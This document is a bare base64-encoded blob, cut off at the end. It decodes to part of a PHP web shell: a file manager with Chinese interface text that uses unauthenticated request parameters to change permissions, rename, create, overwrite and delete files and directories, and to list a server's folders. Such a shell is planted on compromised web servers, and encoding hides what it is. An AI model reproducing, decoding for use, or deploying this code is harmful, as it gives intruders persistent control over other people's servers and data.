U+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6